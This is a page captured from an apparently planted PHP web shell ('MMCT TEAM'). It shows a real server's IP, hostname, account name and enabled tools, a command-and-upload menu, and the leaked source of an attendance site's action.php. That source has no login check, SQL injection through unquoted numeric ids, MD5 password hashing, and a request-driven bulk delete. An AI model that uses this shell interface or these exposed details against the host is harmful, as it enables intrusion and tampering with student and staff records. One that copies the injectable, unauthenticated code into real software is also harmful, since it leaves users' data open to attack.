MMCT TEAM
Server IP : 103.191.208.50  /  Your IP : 216.73.216.53
Web Server : LiteSpeed
System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User : celkcksm ( 1031)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, popen, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home/celkcksm/websites/attendance.rmpharma.in/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/celkcksm/websites/attendance.rmpharma.in/action.php
<?php 
session_start();
$user_id=$_SESSION['user_id'];
include_once('include/config.inc.php');

$do=mysqli_real_escape_string($con,$_REQUEST['do']);
switch($do)
{
    case "MarkAbsent":
        $doid=mysqli_real_escape_string($con,$_REQUEST['doid']);
        $q=mysqli_query($con,"update register set absent=1 where id=".$doid);
        if($q){
		    $_SESSION['msg']="Marked Absent Successfully";
		}else{
		    $_SESSION['msg']="Absent Marking Failed";
		}
		header("location:register_report.php");
    break;
    case "RemoveAbsent":
        $doid=mysqli_real_escape_string($con,$_REQUEST['doid']);
        $q=mysqli_query($con,"update register set absent=0 where id=".$doid);
        if($q){
		    $_SESSION['msg']="Mark Removed Successfully";
		}else{
		    $_SESSION['msg']="Mark Removing Failed";
		}
		header("location:register_report.php");
    break;
    case "MarkAbsentT":
        $doid=mysqli_real_escape_string($con,$_REQUEST['doid']);
        $q=mysqli_query($con,"update teacher set absent=1 where id=".$doid);
        if($q){
		    $_SESSION['msg']="Marked Absent Successfully";
		}else{
		    $_SESSION['msg']="Absent Marking Failed";
		}
		header("location:teacher_register_report.php");
    break;
    case "RemoveAbsentT":
        $doid=mysqli_real_escape_string($con,$_REQUEST['doid']);
        $q=mysqli_query($con,"update teacher set absent=0 where id=".$doid);
        if($q){
		    $_SESSION['msg']="Mark Removed Successfully";
		}else{
		    $_SESSION['msg']="Mark Removing Failed";
		}
		header("location:teacher_register_report.php");
    break;
    case "MarkAbsentS":
        $doid=mysqli_real_escape_string($con,$_REQUEST['doid']);
        $q=mysqli_query($con,"update register set absent=1 where session_id=$doid");
        if($q){
            $q=mysqli_query($con,"update session set absent=1 where id=".$doid);
        }
        
        if($q){
		    $_SESSION['msg']="Marked Absent Successfully";
		}else{
		    $_SESSION['msg']="Absent Marking Failed";
		}
		header("location:session.php");
    break;
    case "RemoveAbsentS":
        $doid=mysqli_real_escape_string($con,$_REQUEST['doid']);
        $q=mysqli_query($con,"update register set absent=0 where session_id=$doid");
        if($q){
            $q=mysqli_query($con,"update session set absent=0 where id=".$doid);
        }
        if($q){
		    $_SESSION['msg']="Mark Removed Successfully";
		}else{
		    $_SESSION['msg']="Mark Removing Failed";
		}
		header("location:session.php");
    break;
    case "Delete":
        $start=mysqli_real_escape_string($con,$_REQUEST['start']);
        $end=mysqli_real_escape_string($con,$_REQUEST['end']);
        $type=mysqli_real_escape_string($con,$_REQUEST['type']);
        if($type=="combined"){
            $q=mysqli_query($con,"delete from attendance where date>='$start' AND date<='$end'");
            $q=mysqli_query($con,"delete from t_attendance where date>='$start' AND date<='$end'");
        }else if($type=="student"){
            $q=mysqli_query($con,"delete from attendance where date>='$start' AND date<='$end'");
        }else if($type=="teacher"){
            $q=mysqli_query($con,"delete from t_attendance where date>='$start' AND date<='$end'");
        }
        mysqli_query($con,"delete from generation where start='$start' AND end='$end' AND type='$type'");
        if($q){
		    $_SESSION['msg']="$type Attendance Data Deleted Successfully";
		}else{
		    $_SESSION['msg']="$type Attendance Data Deletion Failed";
		}
		header("location:delete_attendance.php");
    break;
    case "Teacher":
	    $name=mysqli_real_escape_string($con,$_REQUEST['name']);
	    $gender=mysqli_real_escape_string($con,$_REQUEST['gender']);
	    $mobile=mysqli_real_escape_string($con,$_REQUEST['mobile']);
	    $course_id=mysqli_real_escape_string($con,$_REQUEST['course_id']);
	    $enquiry_date=mysqli_real_escape_string($con,$_REQUEST['enquiry_date']);
	    
		$q=mysqli_query($con,"insert into teacher (name,course_id,gender,mobile,
		    enquiry_date,user_id) 
		    values ('$name','$course_id','$gender','$mobile',
		    '$enquiry_date','$user_id')");
		$insert_id=$con->insert_id;
		$registration_no="EMP".str_pad($insert_id, 4, '0', STR_PAD_LEFT);
		$q=mysqli_query($con,"update teacher set registration_no='$registration_no' where id='$insert_id'");
		if($q){
		    $_SESSION['msg']="Teacher Data Added Successfully";
		}
		else{
			$_SESSION['msg']="Teacher Data Adding Failed!";
		}
		header("Location:teacher_register_report.php");
	break;
	case "EditTeacher":
	    $name=mysqli_real_escape_string($con,$_REQUEST['name']);
	    $course_id=mysqli_real_escape_string($con,$_REQUEST['course_id']);
	    $gender=mysqli_real_escape_string($con,$_REQUEST['gender']);
	    $mobile=mysqli_real_escape_string($con,$_REQUEST['mobile']);
	    $enquiry_date=mysqli_real_escape_string($con,$_REQUEST['enquiry_date']);
	    $doid=mysqli_real_escape_string($con,$_REQUEST['doid']);
	    
		$q=mysqli_query($con,"update teacher set name='$name',course_id='$course_id',
		    gender='$gender',mobile='$mobile',
		    enquiry_date='$enquiry_date'
		    where id=$doid");
		if($q){
		    $_SESSION['msg']="Teacher Data Updated Successfully";
		}
		else{
			$_SESSION['msg']="Teacher Data Update Failed!";
		}
		header("Location:teacher_register_report.php");
	break;
    case "Time":
	    $in_time=mysqli_real_escape_string($con,$_REQUEST['in_time']);
	    $out_time=mysqli_real_escape_string($con,$_REQUEST['out_time']);
	    
		$q=mysqli_query($con,"insert into time (in_time,out_time) 
		    values ('$in_time','$out_time')");
		if($q){
		    $_SESSION['msg']="Time Data Added Successfully";
		}
		else{
			$_SESSION['msg']="Time Data Adding Failed!";
		}
		header("Location:time.php");
	break;
	case "EditTime":
	    $in_time=mysqli_real_escape_string($con,$_REQUEST['in_time']);
	    $out_time=mysqli_real_escape_string($con,$_REQUEST['out_time']);
	    $doid=mysqli_real_escape_string($con,$_REQUEST['doid']);
	    
		$q=mysqli_query($con,"update time set in_time='$in_time',out_time='$out_time' where id=$doid");
		if($q){
		    $_SESSION['msg']="Time Data Added Successfully";
		}
		else{
			$_SESSION['msg']="Time Data Adding Failed!";
		}
		header("Location:time.php");
	break;
    case "Attendance":
        // 0=absent
        // 1=present
        // 2=leave
        $date=mysqli_real_escape_string($con,$_REQUEST['date']);
        $session_id=mysqli_real_escape_string($con,$_REQUEST['doid']);
        $q=mysqli_query($con,"select id from register where session_id=$session_id");
        $attendance="";
        while($r=mysqli_fetch_array($q)){
            $status=mysqli_real_escape_string($con,$_REQUEST["status_".$r['id']]);
            $remark=mysqli_real_escape_string($con,$_REQUEST["remark_".$r['id']]);
            $attendance.=$r['id']."__".$status."__".$remark.",";
        }
        $q=mysqli_query($con,"insert into attendance (date,session_id,status) values('$date','$session_id','$attendance')");
        if($q){
		    $_SESSION['msg']="Attendance Data Added Successfully";
		}
		else{
			$_SESSION['msg']="Attendance Data Adding Failed!";
		}
		header("Location:attendance.php");
    break;
    case "Register":
	    $student_name=mysqli_real_escape_string($con,$_REQUEST['student_name']);
	    $course_id=mysqli_real_escape_string($con,$_REQUEST['course_id']);
	    $gender=mysqli_real_escape_string($con,$_REQUEST['gender']);
	    $student_mobile=mysqli_real_escape_string($con,$_REQUEST['student_mobile']);
	    $parent_mobile=mysqli_real_escape_string($con,$_REQUEST['parent_mobile']);
	    $enquiry_date=mysqli_real_escape_string($con,$_REQUEST['enquiry_date']);
	    $session_id=mysqli_real_escape_string($con,$_REQUEST['session_id']);
	    
		$q=mysqli_query($con,"insert into register (student_name,course_id,gender,student_mobile,parent_mobile,
		    enquiry_date,user_id,session_id) 
		    values ('$student_name','$course_id','$gender','$student_mobile','$parent_mobile',
		    '$enquiry_date','$user_id','$session_id')");
		$insert_id=$con->insert_id;
		$registration_no="STU".str_pad($insert_id, 4, '0', STR_PAD_LEFT);
		$q=mysqli_query($con,"update register set registration_no='$registration_no' where id='$insert_id'");
		if($q){
		    $_SESSION['msg']="Registeration Data Added Successfully";
		}
		else{
			$_SESSION['msg']="Registeration Data Adding Failed!";
		}
		header("Location:register_report.php");
	break;
	case "EditRegister":
	    $student_name=mysqli_real_escape_string($con,$_REQUEST['student_name']);
	    $course_id=mysqli_real_escape_string($con,$_REQUEST['course_id']);
	    $gender=mysqli_real_escape_string($con,$_REQUEST['gender']);
	    $student_mobile=mysqli_real_escape_string($con,$_REQUEST['student_mobile']);
	    $parent_mobile=mysqli_real_escape_string($con,$_REQUEST['parent_mobile']);
	    $enquiry_date=mysqli_real_escape_string($con,$_REQUEST['enquiry_date']);
	    $session_id=mysqli_real_escape_string($con,$_REQUEST['session_id']);
	    $doid=mysqli_real_escape_string($con,$_REQUEST['doid']);
	    
		$q=mysqli_query($con,"update register set student_name='$student_name',course_id='$course_id',
		    gender='$gender',student_mobile='$student_mobile',parent_mobile='$parent_mobile',
		    enquiry_date='$enquiry_date',session_id='$session_id'
		    where id=$doid");
		if($q){
		    $_SESSION['msg']="Registeration Data Updated Successfully";
		}
		else{
			$_SESSION['msg']="Registeration Data Update Failed!";
		}
		header("Location:register_report.php");
	break;
    case "Course":
	    $name=mysqli_real_escape_string($con,$_REQUEST['name']);
	    
		$q=mysqli_query($con,"insert into course (name,user_id) 
		    values ('$name','$user_id')");
		if($q){
		    $_SESSION['msg']="Course Data Added Successfully";
		}
		else{
			$_SESSION['msg']="Course Data Adding Failed!";
		}
		header("Location:course.php");
	break;
	case "EditCourse":
	    $name=mysqli_real_escape_string($con,$_REQUEST['name']);
	    $doid=mysqli_real_escape_string($con,$_REQUEST['doid']);
	    
		$q=mysqli_query($con,"update course set name='$name',user_id='$user_id' where id=$doid");
		if($q){
		    $_SESSION['msg']="Course Data Updated Successfully";
		}
		else{
			$_SESSION['msg']="Course Data Update Failed!";
		}
		header("Location:course.php");
	break;
	case "Session":
	    $name=mysqli_real_escape_string($con,$_REQUEST['name']);
	    $course_id=mysqli_real_escape_string($con,$_REQUEST['course_id']);
	    $duration=mysqli_real_escape_string($con,$_REQUEST['duration']);
	    
		$q=mysqli_query($con,"insert into session (name,course_id,duration,user_id) 
		    values ('$name','$course_id','$duration','$user_id')");
		if($q){
		    $_SESSION['msg']="Session Data Added Successfully";
		}
		else{
			$_SESSION['msg']="Session Data Adding Failed!";
		}
		header("Location:session.php");
	break;
	case "EditSession":
	    $name=mysqli_real_escape_string($con,$_REQUEST['name']);
	    $course_id=mysqli_real_escape_string($con,$_REQUEST['course_id']);
	    $duration=mysqli_real_escape_string($con,$_REQUEST['duration']);
	    $doid=mysqli_real_escape_string($con,$_REQUEST['doid']);
	    
		$q=mysqli_query($con,"update session set name='$name',course_id='$course_id',duration='$duration' where id=$doid");
		if($q){
		    $_SESSION['msg']="Session Data Updated Successfully";
		}
		else{
			$_SESSION['msg']="Session Data Update Failed!";
		}
		header("Location:session.php");
	break;
	case "Menu" :
        $menu = mysqli_escape_string($con,$_REQUEST['menu']);
		$UserID = mysqli_escape_string($con,$_REQUEST['EntryUser']);
		if(!empty($_REQUEST['doid'])){
				
					$check=mysqli_query($con,"update  menu set menuname='".$menu."'
					where id=".(int)$_REQUEST['doid']);
					if($check){
						$_SESSION['msg']=' Record Updated Successfully .';
					}else{
						$_SESSION['msg']='Record Not Updated Failed! ';
					}
				
			}else{
			$check=mysqli_query($con,"insert into menu(user_id,menuname)
					values('".$UserID."','".$menu."')");
				
					if($check){
						$_SESSION['msg']=' Record Add Successfully .';
					}else{
						$_SESSION['msg']='Record Not Add Failed! ';
					}
			}
			
        header("Location:addmenu.php");
		break;
		
		
	case "usercreate" :
        $name = mysqli_escape_string($con,$_REQUEST['name']);
		 $username = mysqli_escape_string($con,$_REQUEST['username']);
		  $email = mysqli_escape_string($con,$_REQUEST['email']);
		  $password = mysqli_escape_string($con,$_REQUEST['password']);
		   $password=md5($password);
		   $mobile = mysqli_escape_string($con,$_REQUEST['mobile']);
		    $role = mysqli_escape_string($con,$_REQUEST['role']);
			 $per = $_REQUEST['per'];
			$menu=implode(',',$per);
			
		$UserID = mysqli_escape_string($con,$_REQUEST['UserID']);
		if(!empty($_REQUEST['doid'])){
				
					$check=mysqli_query($con,"update  admin set menuper='".$menu."',mobile='".$mobile."'
					,mobile='".$mobile."',name='".$name."',user_id='".$UserID."',role='".$role."'  where id=".(int)$_REQUEST['doid']);
					if($check){
						$_SESSION['msg']=' Record Updated Successfully .';
					}else{
						$_SESSION['msg']='Record Not Updated Failed! ';
					}
				
			}else{
				$upuserresult=mysqli_query($con,"select * from admin where email='".$email."' or username='".$username."' ");
	  $row=mysqli_num_rows($upuserresult);
	  if($row>0){
		  $_SESSION['msg']='Email Id Allready Exits ! '; 
	  }else{
			$check=mysqli_query($con,"insert into admin(password,username,email,role,mobile,menuper,name,user_id)
					values('".$password."','".$username."','".$email."','".$role."',
					'".$mobile."','".$menu."','".$name."','".$UserID."')");
				
					if($check){
						$_SESSION['msg']=' Record Add Successfully .';
					}else{
						$_SESSION['msg']='Record Not Add Failed! ';
					}
			}
		}
			
        header("Location:usersreports.php");
		break;
}
?>

MMCT - 2023